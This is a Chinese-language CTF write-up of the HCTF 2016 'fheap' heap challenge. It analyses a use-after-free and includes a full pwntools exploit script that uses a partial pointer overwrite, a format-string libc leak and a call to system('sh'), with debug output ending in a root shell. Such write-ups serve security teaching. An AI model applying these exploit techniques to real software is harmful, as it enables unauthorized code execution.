hctf2016[pwn]-fheap

本文介绍了一道涉及堆栈混合利用及格式化字符串技巧的CTF题目解析。通过对程序的逐步调试,利用堆溢出修改函数指针,并通过格式化字符串泄露libc地址,最终实现远程代码执行。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

0x00:前言

这道题是一道堆栈混合加格式化字符串的题目,题目的利用点不错,很适合好好做一遍。

0x01:题目链接

https://github.com/zh-explorer/hctf2016-fheap

0x02:解题思路

首先查看程序保护

root@Thunder_J-virtual-machine:~/桌面# checksec pwn-f
[*] Checking for new versions of pwntools
    To disable this functionality, set the contents of /home/Thunder_J/.pwntools-cache/update to 'never'.
[*] A newer version of pwntools is available on pypi (3.12.1 --> 3.12.2).
    Update with: $ pip install -U pwntools
[*] '/home/xsj/\xe6\xa1\x8c\xe9\x9d\xa2/pwn-f'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
PIE:      PIE enabled

在gdb中运行程序,有三种选择,创建,删除,退出

pwndbg> r
Starting program: /home/Thunder_J/桌面/pwn-f 
+++++++++++++++++++++++++++
So, let's crash the world
+++++++++++++++++++++++++++
1.create string
2.delete string
3.quit

我们先在exit()函数下断点,创建两个大小为4,内容为aaaa的字符串,然后quit退出,断点断在退出的时候我们用vmmap找到程序基址,然后在IDA中找到菜单显示函数的地址RVA = 114B ,在加上基址的地方下断点也就是程序中的菜单函数的地址,这样我们每次操作都会断在菜单显示前,每一次操作都可以进行调试查看了

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x555555554000     0x555555556000 r-xp     2000 0      /home/Thunder_J/桌面/pwn-f #Imagebase
    0x555555755000     0x555555756000 r--p     1000 1000   /home/ Thunder_J /桌面/pwn-f
    0x555555756000     0x555555757000 rw-p     1000 2000   /home/ Thunder_J /桌面/pwn-f
    0x555555757000     0x555555778000 rw-p    21000 0      [heap]
    0x7ffff79e4000     0x7ffff7bcb000 r-xp   1e7000 0      /lib/x86_64-linux-gnu/libc-2.27.so
    0x7ffff7bcb000     0x7ffff7dcb000 ---p   200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7ffff7dcb000     0x7ffff7dcf000 r--p     4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7ffff7dcf000     0x7ffff7dd1000 rw-p     2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7ffff7dd1000     0x7ffff7dd5000 rw-p     4000 0      
    0x7ffff7dd5000     0x7ffff7dfc000 r-xp    27000 0      /lib/x86_64-linux-gnu/ld-2.27.so
    0x7ffff7fd9000     0x7ffff7fdb000 rw-p     2000 0      
    0x7ffff7ff7000     0x7ffff7ffa000 r--p     3000 0      [vvar]
    0x7ffff7ffa000     0x7ffff7ffc000 r-xp     2000 0      [vdso]
    0x7ffff7ffc000     0x7ffff7ffd000 r--p     1000 27000  /lib/x86_64-linux-gnu/ld-2.27.so
    0x7ffff7ffd000     0x7ffff7ffe000 rw-p     1000 28000  /lib/x86_64-linux-gnu/ld-2.27.so
    0x7ffff7ffe000     0x7ffff7fff000 rw-p     1000 0      
    0x7ffffffde000     0x7ffffffff000 rw-p    21000 0      [stack]
0xffffffffff600000 0xffffffffff601000 r-xp     1000 0      [vsyscall]
pwndbg> b *0x555555555114b
Breakpoint 2 at 0x555555555114b #ImageBase + RVA

为了分析清楚结构体,我们查看一下刚才创建的两个chunk

pwndbg> heap
0x555555757000 PREV_INUSE {
  mchunk_prev_size = 0, 
  mchunk_size = 593, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x555555757250 FASTBIN {
  mchunk_prev_size = 0, 
  mchunk_size = 49, 
  fd = 0x61616161, 
  bk = 0x0, 
  fd_nextsize = 0x4, 
  bk_nextsize = 0x555555554d52
}
0x555555757280 FASTBIN {
  mchunk_prev_size = 0, 
  mchunk_size = 49, 
  fd = 0x61616161, 
  bk = 0x0, 
  fd_nextsize = 0x4, 
  bk_nextsize = 0x555555554d52
}
0x5555557572b0 PREV_INUSE {
  mchunk_prev_size = 0, 
  mchunk_size = 134481, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
pwndbg> x/20gx 0x555555757250
0x555555757250:	0x0000000000000000	0x0000000000000031 # total size
0x555555757260:	0x0000000061616161	0x0000000000000000 # string
0x555555757270:	0x0000000000000004	0x0000555555554d52 # string size ; free.plt
0x555555757280:	0x0000000000000000	0x0000000000000031
0x555555757290:	0x0000000061616161	0x0000000000000000
0x5555557572a0:	0x0000000000000004	0x0000555555554d52
0x5555557572b0:	0x0000000000000000	0x0000000000020d51
0x5555557572c0:	0x0000000000000000	0x0000000000000000
0x5555557572d0:	0x0000000000000000	0x0000000000000000
0x5555557572e0:	0x0000000000000000	0x0000000000000000
pwndbg> x/20i 0x0000555555554d52
   0x555555554d52:	push   rbp
   0x555555554d53:	mov    rbp,rsp
   0x555555554d56:	sub    rsp,0x10
   0x555555554d5a:	mov    QWORD PTR [rbp-0x8],rdi
   0x555555554d5e:	mov    rax,QWORD PTR [rbp-0x8]
   0x555555554d62:	mov    rdi,rax
   0x555555554d65:	call   0x555555554960 <free@plt>
   0x555555554d6a:	leave  
   0x555555554d6b:	ret    
   0x555555554d6c:	push   rbp
   0x555555554d6d:	mov    rbp,rsp
   0x555555554d70:	sub    rsp,0x10
   0x555555554d74:	mov    QWORD PTR [rbp-0x8],rdi
   0x555555554d78:	mov    rax,QWORD PTR [rbp-0x8]
   0x555555554d7c:	mov    rax,QWORD PTR [rax]
   0x555555554d7f:	mov    rdi,rax
   0x555555554d82:	call   0x555555554960 <free@plt>
   0x555555554d87:	mov    rax,QWORD PTR [rbp-0x8]
   0x555555554d8b:	mov    rdi,rax
   0x555555554d8e:	call   0x555555554960 <free@plt>

结合IDA可以看到,申请字符串的大小大于15的时候会新创建一个chunk来存放 ,小于则存放在0x20的chunk中,IDA中显示如下

nbytesa = strlen(&buf);
if ( nbytesa > 0xF )
{
  dest = (char *)malloc(nbytesa);
  if ( !dest )
  {
    puts("malloc faild!");
    exit(1);
  }
  strncpy(dest, &buf, nbytesa);
  *(_QWORD *)ptr = dest;
  *((_QWORD *)ptr + 3) = sub_D6C;
}
else
{
  strncpy(ptr, &buf, nbytesa);
  *((_QWORD *)ptr + 3) = sub_D52;
}

分析出结构体的内容如下,我们可以通过在IDA中创建结构体,然后在伪c代码中引用,方便我们查看,具体怎么创建参考这个链接:https://xz.aliyun.com/t/4205

string struc ; (sizeof = 0x20)
	string dq ?
	padding dq ?
	size dd ?
	none dd ?
free_func dq ?	;offset
string ends

我们还可以看到程序中有一个全局变量,指向我们的chunk地址

for ( i = 0; i <= 15; ++i )
{
  if ( !*((_DWORD *)&unk_2020C0 + 4 * i) )
  {
    *((_DWORD *)&unk_2020C0 + 4 * i) = 1;
    *((_QWORD *)&unk_2020C0 + 2 * i + 1) = ptr;
    printf("The string id is %d\n", (unsigned int)i);
    break;
  }
}

我们查看一下刚才创建两个chunk之后这个全局变量的结构

pwndbg> x/20gx 0x5555557560c0
0x5555557560c0:	0x0000000000000001	0x0000555555757260 # => chunk1
0x5555557560d0:	0x0000000000000001	0x0000555555757290 # => chunk2
0x5555557560e0:	0x0000000000000000	0x0000000000000000
0x5555557560f0:	0x0000000000000000	0x0000000000000000
0x555555756100:	0x0000000000000000	0x0000000000000000
0x555555756110:	0x0000000000000000	0x0000000000000000
0x555555756120:	0x0000000000000000	0x0000000000000000
0x555555756130:	0x0000000000000000	0x0000000000000000
0x555555756140:	0x0000000000000000	0x0000000000000000
0x555555756150:	0x0000000000000000	0x0000000000000000

我们分析完结构之后再来查看delete函数,这里没有完全将全局指针清零,存在漏洞

printf("Pls give me the string id you want to delete\nid:");
  v1 = sub_B65();
  if ( v1 < 0 || v1 > 16 )
    puts("Invalid id");
  if ( *((_QWORD *)&unk_2020C0 + 2 * v1 + 1) )
  {
    printf("Are you sure?:");
    read(0, &buf, 0x100uLL);
    if ( !strncmp(&buf, "yes", 3uLL) )
    {
      (*(void (__fastcall **)(_QWORD, const char *))(*((_QWORD *)&unk_2020C0 + 2 * v1 + 1) + 24LL))(
        *((_QWORD *)&unk_2020C0 + 2 * v1 + 1),
        "yes");
      *((_DWORD *)&unk_2020C0 + 4 * v1) = 0;
    }
  }
  return __readfsqword(0x28u) ^ v3;
}

我们的思路就是首先创建两个长度小于0x10(16)的chunk分别是chunk0,chunk1,然后我们将它们删除,分别是chunk1,chunk0,再次申请大小为0x20(32)的chunk就会拿到chunk1,我们这个时候就可以写入call puts函数的地址,为什么不能写puts函数的地址呢,因为puts函数的地址是随机的,我们无法确定puts函数的地址,而call puts函数就在我们的程序里面,我们可以通过objdump找到,我们先查看一下调用free函数的地址 ,也就是以 0x555555554dxx 开头的一系列地址

pwndbg> x/20i 0x0000555555554d52
   0x555555554d52:	push   rbp
   0x555555554d53:	mov    rbp,rsp
   0x555555554d56:	sub    rsp,0x10
   0x555555554d5a:	mov    QWORD PTR [rbp-0x8],rdi
   0x555555554d5e:	mov    rax,QWORD PTR [rbp-0x8]
   0x555555554d62:	mov    rdi,rax
   0x555555554d65:	call   0x555555554960 <free@plt>
   0x555555554d6a:	leave  
   0x555555554d6b:	ret    
   0x555555554d6c:	push   rbp
   0x555555554d6d:	mov    rbp,rsp
   0x555555554d70:	sub    rsp,0x10
   0x555555554d74:	mov    QWORD PTR [rbp-0x8],rdi
   0x555555554d78:	mov    rax,QWORD PTR [rbp-0x8]
   0x555555554d7c:	mov    rax,QWORD PTR [rax]
   0x555555554d7f:	mov    rdi,rax
   0x555555554d82:	call   0x555555554960 <free@plt>
   0x555555554d87:	mov    rax,QWORD PTR [rbp-0x8]
   0x555555554d8b:	mov    rdi,rax
   0x555555554d8e:	call   0x555555554960 <free@plt>

因为程序中调用free函数最后三位地址是dxx开始的,我们又只能修改程序地址的最后两位,也就是程序的最后一个字节,所以我们需要找到0x555555554dxx 附近call puts函数的地址,我们用objdump实现,可以看到有三个可以调用的地方,我们选择第一个

root@Thunder_J-virtual-machine:~/桌面# objdump -d pwn-f | grep "puts"
0000000000000990 <puts@plt>:
     c54:	e8 37 fd ff ff       	callq  990 <puts@plt>
     c60:	e8 2b fd ff ff       	callq  990 <puts@plt>
     c6c:	e8 1f fd ff ff       	callq  990 <puts@plt>
     d1a:	e8 71 fc ff ff       	callq  990 <puts@plt> => dxx
     d2d:	e8 5e fc ff ff       	callq  990 <puts@plt> => dxx
     de4:	e8 a7 fb ff ff       	callq  990 <puts@plt> => dxx
     f31:	e8 5a fa ff ff       	callq  990 <puts@plt>
     f83:	e8 08 fa ff ff       	callq  990 <puts@plt>
    100d:	e8 7e f9 ff ff       	callq  990 <puts@plt>
    1119:	e8 72 f8 ff ff       	callq  990 <puts@plt>
    1156:	e8 35 f8 ff ff       	callq  990 <puts@plt>
    1162:	e8 29 f8 ff ff       	callq  990 <puts@plt>
	116e:	e8 1d f8 ff ff       	callq  990 <puts@plt>

我们调试这一个过程

from pwn import *

context.log_level = 'debug'

p = process('./pwn-f')

elf = ELF('./pwn-f')

if args.G:
    gdb.attach(p)

def create(size,data):
	p.recvuntil('t\n')
	p.sendline('create ')
	p.recvuntil('size:')
	p.sendline(str(size))
	p.recvuntil('str:')
	p.send(data)

def delete(num):
	p.recvuntil('t\n')
	p.sendline('delete ')
	p.recvuntil('id:')
	p.sendline(str(num))
	p.recvuntil('sure?:')
	p.send('yes')

create(4,'aaaa')
create(4,'bbbb')

delete(1)
delete(0)

leak = 'a'*24 + '\x1a'

create(32,leak)

p.interactive()

调试结果如下,可以看到free函数地址已经被修改

pwndbg> x/20gx 0x56012308b280
0x56012308b280:	0x0000000000000000	0x0000000000000031
0x56012308b290:	0x6161616161616161	0x6161616161616161
0x56012308b2a0:	0x6161616161616161	0x0000560121ee2d1a # free() => puts()
0x56012308b2b0:	0x0000000000000000	0x0000000000020d51
0x56012308b2c0:	0x0000000000000000	0x0000000000000000
0x56012308b2d0:	0x0000000000000000	0x0000000000000000
0x56012308b2e0:	0x0000000000000000	0x0000000000000000
0x56012308b2f0:	0x0000000000000000	0x0000000000000000
0x56012308b300:	0x0000000000000000	0x0000000000000000
0x56012308b310:	0x0000000000000000	0x0000000000000000

通过堆栈的观察,我们看到偏移为31的地方是libc的地址,我们就可以通过printf函数泄露它的地址,从而计算出system函数的地址,最后getshell,最重要的还是编写脚本边一步一步调试,exp如下

from pwn import *

context.log_level = 'debug'

p = process('./pwn-f')

#elf = ELF('./pwn-f')

if args.G:
    gdb.attach(p)

def create(size,data):
	p.recvuntil('t\n')
	p.sendline('create ')
	p.recvuntil('size:')
	p.sendline(str(size))
	p.recvuntil('str:')
	p.send(data)

def delete(num):
	p.recvuntil('t\n')
	p.sendline('delete ')
	p.recvuntil('id:')
	p.sendline(str(num))
	p.recvuntil('sure?:')
	p.send('yes')

create(4,'aaaa')
create(4,'bbbb')

delete(1)
delete(0)

leak = 'a'*24 + '\x1a' # leak puts_addr

create(32,leak)
delete(1)
p.recvuntil('a'*24)
puts_addr = u64(p.recv(6)+'\x00\x00')
print hex(puts_addr)

print_addr = puts_addr - 0xd1a + 0x9d0
print hex(print_addr)

delete(0)
leak2 = 'a'*8 + '%31$p' + 'b'*11 + p64(print_addr) # leak libc
create(32,leak2)
delete(1)

padding = 0x8d403

libc = p.recv()[8:22]

libc_addr = int(libc,16) - padding
system_addr = libc_addr + 0x4f440

print hex(libc_addr)
print hex(system_addr)

p.sendline('')
delete(0)
payload =  'sh;' + 'a'*21 + p64(system_addr)
create(32,payload)
delete(1)

p.interactive()

运行结果

root@Thunder_J-virtual-machine:~/桌面# python 1.py
[+] Starting local process './pwn-f': pid 4268
[DEBUG] Received 0x79 bytes:
    '+++++++++++++++++++++++++++\n'
    "So, let's crash the world\n"
    '+++++++++++++++++++++++++++\n'
    '1.create string\n'
    '2.delete string\n'
    '3.quit\n'
[DEBUG] Sent 0x8 bytes:
    'create \n'
[DEBUG] Received 0x15 bytes:
    'Pls give string size:'
[DEBUG] Sent 0x2 bytes:
    '4\n'
[DEBUG] Received 0x4 bytes:
    'str:'
[DEBUG] Sent 0x4 bytes:
    'a' * 0x4
[DEBUG] Received 0x3a bytes:
    'The string id is 0\n'
    '1.create string\n'
    '2.delete string\n'
    '3.quit\n'
[DEBUG] Sent 0x8 bytes:
    'create \n'
[DEBUG] Received 0x15 bytes:
    'Pls give string size:'
[DEBUG] Sent 0x2 bytes:
    '4\n'
[DEBUG] Received 0x4 bytes:
    'str:'
[DEBUG] Sent 0x4 bytes:
    'b' * 0x4
[DEBUG] Received 0x3a bytes:
    'The string id is 1\n'
    '1.create string\n'
    '2.delete string\n'
    '3.quit\n'
[DEBUG] Sent 0x8 bytes:
    'delete \n'
[DEBUG] Received 0x30 bytes:
    'Pls give me the string id you want to delete\n'
    'id:'
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Received 0xe bytes:
    'Are you sure?:'
[DEBUG] Sent 0x3 bytes:
    'yes'
[DEBUG] Received 0x27 bytes:
    '1.create string\n'
    '2.delete string\n'
    '3.quit\n'
[DEBUG] Sent 0x8 bytes:
    'delete \n'
[DEBUG] Received 0x30 bytes:
    'Pls give me the string id you want to delete\n'
    'id:'
[DEBUG] Sent 0x2 bytes:
    '0\n'
[DEBUG] Received 0xe bytes:
    'Are you sure?:'
[DEBUG] Sent 0x3 bytes:
    'yes'
[DEBUG] Received 0x27 bytes:
    '1.create string\n'
    '2.delete string\n'
    '3.quit\n'
[DEBUG] Sent 0x8 bytes:
    'create \n'
[DEBUG] Received 0x15 bytes:
    'Pls give string size:'
[DEBUG] Sent 0x3 bytes:
    '32\n'
[DEBUG] Received 0x4 bytes:
    'str:'
[DEBUG] Sent 0x19 bytes:
    00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│
    00000010  61 61 61 61  61 61 61 61  1a                        │aaaa│aaaa│·│
    00000019
[DEBUG] Received 0x3a bytes:
    'The string id is 0\n'
    '1.create string\n'
    '2.delete string\n'
    '3.quit\n'
[DEBUG] Sent 0x8 bytes:
    'delete \n'
[DEBUG] Received 0x30 bytes:
    'Pls give me the string id you want to delete\n'
    'id:'
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Received 0xe bytes:
    'Are you sure?:'
[DEBUG] Sent 0x3 bytes:
    'yes'
[DEBUG] Received 0x46 bytes:
    00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│
    00000010  61 61 61 61  61 61 61 61  1a cd 69 f0  64 55 0a 31  │aaaa│aaaa│··i·│dU·1│
    00000020  2e 63 72 65  61 74 65 20  73 74 72 69  6e 67 0a 32  │.cre│ate │stri│ng·2│
    00000030  2e 64 65 6c  65 74 65 20  73 74 72 69  6e 67 0a 33  │.del│ete │stri│ng·3│
    00000040  2e 71 75 69  74 0a                                  │.qui│t·│
    00000046
0x5564f069cd1a
0x5564f069c9d0
[DEBUG] Sent 0x8 bytes:
    'delete \n'
[DEBUG] Received 0x30 bytes:
    'Pls give me the string id you want to delete\n'
    'id:'
[DEBUG] Sent 0x2 bytes:
    '0\n'
[DEBUG] Received 0xe bytes:
    'Are you sure?:'
[DEBUG] Sent 0x3 bytes:
    'yes'
[DEBUG] Received 0x27 bytes:
    '1.create string\n'
    '2.delete string\n'
    '3.quit\n'
[DEBUG] Sent 0x8 bytes:
    'create \n'
[DEBUG] Received 0x15 bytes:
    'Pls give string size:'
[DEBUG] Sent 0x3 bytes:
    '32\n'
[DEBUG] Received 0x4 bytes:
    'str:'
[DEBUG] Sent 0x20 bytes:
    00000000  61 61 61 61  61 61 61 61  25 33 31 24  70 62 62 62  │aaaa│aaaa│%31$│pbbb│
    00000010  62 62 62 62  62 62 62 62  d0 c9 69 f0  64 55 00 00  │bbbb│bbbb│··i·│dU··│
    00000020
[DEBUG] Received 0x3a bytes:
    'The string id is 0\n'
    '1.create string\n'
    '2.delete string\n'
    '3.quit\n'
[DEBUG] Sent 0x8 bytes:
    'delete \n'
[DEBUG] Received 0x30 bytes:
    'Pls give me the string id you want to delete\n'
    'id:'
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Received 0xe bytes:
    'Are you sure?:'
[DEBUG] Sent 0x3 bytes:
    'yes'
[DEBUG] Received 0x4e bytes:
    00000000  61 61 61 61  61 61 61 61  30 78 37 66  32 64 32 65  │aaaa│aaaa│0x7f│2d2e│
    00000010  31 63 63 34  30 33 62 62  62 62 62 62  62 62 62 62  │1cc4│03bb│bbbb│bbbb│
    00000020  62 d0 c9 69  f0 64 55 31  2e 63 72 65  61 74 65 20  │b··i│·dU1│.cre│ate │
    00000030  73 74 72 69  6e 67 0a 32  2e 64 65 6c  65 74 65 20  │stri│ng·2│.del│ete │
    00000040  73 74 72 69  6e 67 0a 33  2e 71 75 69  74 0a        │stri│ng·3│.qui│t·│
    0000004e
0x7f2d2e13f000
0x7f2d2e18e440
[DEBUG] Sent 0x1 bytes:
    '\n' * 0x1
[DEBUG] Received 0x33 bytes:
    'Invalid cmd\n'
    '1.create string\n'
    '2.delete string\n'
    '3.quit\n'
[DEBUG] Sent 0x8 bytes:
    'delete \n'
[DEBUG] Received 0x30 bytes:
    'Pls give me the string id you want to delete\n'
    'id:'
[DEBUG] Sent 0x2 bytes:
    '0\n'
[DEBUG] Received 0xe bytes:
    'Are you sure?:'
[DEBUG] Sent 0x3 bytes:
    'yes'
[DEBUG] Received 0x27 bytes:
    '1.create string\n'
    '2.delete string\n'
    '3.quit\n'
[DEBUG] Sent 0x8 bytes:
    'create \n'
[DEBUG] Received 0x15 bytes:
    'Pls give string size:'
[DEBUG] Sent 0x3 bytes:
    '32\n'
[DEBUG] Received 0x4 bytes:
    'str:'
[DEBUG] Sent 0x20 bytes:
    00000000  73 68 3b 61  61 61 61 61  61 61 61 61  61 61 61 61  │sh;a│aaaa│aaaa│aaaa│
    00000010  61 61 61 61  61 61 61 61  40 e4 18 2e  2d 7f 00 00  │aaaa│aaaa│@··.│-···│
    00000020
[DEBUG] Received 0x3a bytes:
    'The string id is 0\n'
    '1.create string\n'
    '2.delete string\n'
    '3.quit\n'
[DEBUG] Sent 0x8 bytes:
    'delete \n'
[DEBUG] Received 0x30 bytes:
    'Pls give me the string id you want to delete\n'
    'id:'
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Received 0xe bytes:
    'Are you sure?:'
[DEBUG] Sent 0x3 bytes:
    'yes'
[*] Switching to interactive mode
$ whoami
[DEBUG] Sent 0x7 bytes:
    'whoami\n'
[DEBUG] Received 0x5 bytes:
    'root\n'
root

0x03:总结

最最重要的就是学会调试自己写的脚本,写一步调一步,直到getshell

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值